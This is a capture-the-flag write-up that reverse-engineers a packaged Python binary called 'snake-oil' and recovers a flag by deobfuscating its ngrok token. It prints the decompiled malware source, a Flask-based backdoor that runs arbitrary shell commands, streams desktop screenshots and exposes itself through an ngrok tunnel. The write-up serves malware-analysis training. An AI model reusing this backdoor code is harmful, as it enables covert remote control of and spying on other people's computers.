Snakeoil #
Challenge: One of our workstations was exhibiting strange network communications… we found this binary that looked to be the culprit. Can you find anything suspicious?
shanna@ubuntu:~/Downloads$ file snake-oil
snake-oil: PE32+ executable (console) x86-64, for MS Windows
OK so its a PE32+ executable so I will take a look at it in PEStudio to learn some more about it.
shanna@ubuntu:~/Downloads$ /home/shanna/.local/bin/floss -n 10 snake-oil | grep python
INFO: floss: extracting static strings...
finding decoding function features: 100%|███████████████████████████████████████| 662/662 [00:00<00:00, 3179.33 functions/s, skipped 462 library functions (69%)]
INFO: floss.stackstrings: extracting stackstrings from 171 functions
extracting stackstrings: 100%|████████████████████████████████████████████████████████████████████████████████████████| 171/171 [00:00<00:00, 203.07 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 23 functions...
extracting tightstrings from function 0x14001c374: 100%|█████████████████████████████████████████████████████████████████| 23/23 [00:00<00:00, 39.46 functions/s]
INFO: floss.string_decoder: decoding strings
INFO: floss.results: Failed to decode wchar_t from UTF-8
INFO: floss.results: Failed to get wchar_t buffer size.
INFO: floss.results: Failed to get w
emulating function 0x140002c00 (call 2/2): 100%|█████████████████████████████████████████████████████████████████████████| 24/24 [00:02<00:00, 9.13 functions/s]
INFO: floss: finished execution after 15.75 seconds
bpython39.dll
'python39.dll
Now that we know it is a packaged Python executable, we can extract the compiled python code (pyc) and then decompile it with decompyle++ (pycdc).
shanna@ubuntu:~/Downloads/pyinstxtractor$ python3.9 pyinstxtractor.py ../snake-oil
[+] Processing ../snake-oil
[+] Pyinstaller version: 2.1+
[+] Python version: 3.9
[+] Length of package: 13435879 bytes
[+] Found 963 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth__tkinter.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: brain-melt.pyc
[+] Successfully extracted pyinstaller archive: ../snake-oil
shanna@ubuntu:~/Downloads$ sudo snap install pycdc
pycdc 2023.10.19 from Khiem Doan (khiemdoan) installed
shanna@ubuntu:~/Downloads$ pycdc pyinstxtractor/snake-oil_extracted/brain-melt.pyc
# Source Generated with Decompyle++
# File: brain-melt.pyc (Python 3.9)
Unsupported opcode: RERAISE
from flask import Flask, flash, request, render_template_string, send_file, redirect
from wtforms import Form, TextField, validators, StringField, SubmitField
import subprocess
import pyautogui
import io
import sys
from PIL import Image
from pyngrok import ngrok
import base64
DEBUG = True
app = Flask(__name__)
app.config['SECRET_KEY'] = '9EQrXQ88pwP7UWaXbkmThhKuDdYxsad1'
def decrypt(s1, s2):
return ''.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(s1, s2)))
def deobfuscate():
part1 = '2ec7627d{galf'[::-1]
part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
key = part1 + part2 + part3
return key
def ngrok_tunnel():
ngrok.set_auth_token(deobfuscate())
http_tunnel = ngrok.connect(5000, 'http', '-log=stdout > NUL')
def Desktop(pil_img):
img_io = io.BytesIO()
pil_img.save(img_io, 'JPEG', 70, **('quality',))
img_io.seek(0)
return send_file(img_io, 'image/jpeg', **('mimetype',))
def execute(cmd):
child = subprocess.Popen(cmd, True, subprocess.PIPE, subprocess.PIPE, **('shell', 'stdout', 'stderr'))
for line in child.stdout:
print(line)
l = line.decode('utf-8', 'ignore', **('encoding', 'errors'))
flash(l)
for line in child.stderr:
l = line.decode('utf-8', 'ignore', **('encoding', 'errors'))
flash(l)
class CommandForm(Form):
command = TextField('Command:', [
validators.required()], **('validators',))
def display():
form = CommandForm(request.form)
print(form.errors)
if request.method == 'POST':
command = request.form['command']
if form.validate() and request.method == 'POST':
result = execute(command)
flash(result)
else:
flash('Please enter a command.')
return render_template_string('<!doctype html>\n <html>\n <head>\n <link rel="stylesheet" href="css url"/>\n </head>\n <body>\n <form action="" method="post" role="form">\n <div class="form-group">\n <label for="Command">Command:</label>\n <input type="text" class="form-control" id="command" name="command"></div>\n <button type="submit" class="btn btn-success">Submit</button>\n </form>\n {% for message in get_flashed_messages() %}\n <p>{{ message }}</p>\n {% endfor %}\n <img src="/images/desktop.jpg" id="img" width="100%" scrolling="yes" style="height: 100vh;"></iframe>\n </body>\n \n {% block javascript %}\n <script type="text/javascript">\n window.onload = function() {\n var image = document.getElementById("img");\n\n function updateImage() {\n image.src = image.src.split("?")[0] + "?" + new Date().getTime();\n }\n\n setInterval(updateImage, 1000);\n }\n </script>\n {% endblock %}\n </html>\n ', form, **('form',))
display = app.route('/', [
'GET',
'POST'], **('methods',))(display)
def serve_img():
screenshot = pyautogui.screenshot()
return Desktop(screenshot)
serve_img = app.route('/images/desktop.jpg')(serve_img)
# WARNING: Decompyle incomplete
Then I copied the first 2 functions to a new file brain-melt.py
import base64
DEBUG = True
app = Flask(__name__)
app.config['SECRET_KEY'] = '9EQrXQ88pwP7UWaXbkmThhKuDdYxsad1'
def decrypt(s1, s2):
return ''.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(s1, s2)))
def deobfuscate():
part1 = '2ec7627d{galf'[::-1]
part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
key = part1 + part2 + part3
return key
I removed what was not needed, and added a print function, i needed to also update the lamba function and change .0
to x
import base64
def decrypt(s1, s2):
return ''.join((lambda x: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in x ])(zip(s1, s2)))
def deobfuscate():
part1 = '2ec7627d{galf'[::-1]
part2 = str(base64.b64decode('NjIwM2I1Y2M2OWY0'.encode('ascii')), 'UTF8')
part3 = decrypt('\x17*\x07`BC\x14*R@\x14^*', 'uKeVuzwIexplW')
key = part1 + part2 + part3
return key
print(deobfuscate())
shanna@ubuntu:~/Downloads$ python3.9 brain-melt.py
File "/home/shanna/Downloads/brain-melt.py", line 7
return ''.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(s1, s2)))
^
SyntaxError: invalid syntax
shanna@ubuntu:~/Downloads$ python3.9 brain-melt.py
File "/home/shanna/Downloads/brain-melt.py", line 7
return ''.join((lambda 0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in 0 ])(zip(s1, s2)))
^
SyntaxError: invalid syntax
shanna@ubuntu:~/Downloads$ python3.9 brain-melt.py
flag{d7267ce26203b5cc69f4bab679cc78d2}
Flag
flag{d7267ce26203b5cc69f4bab679cc78d2}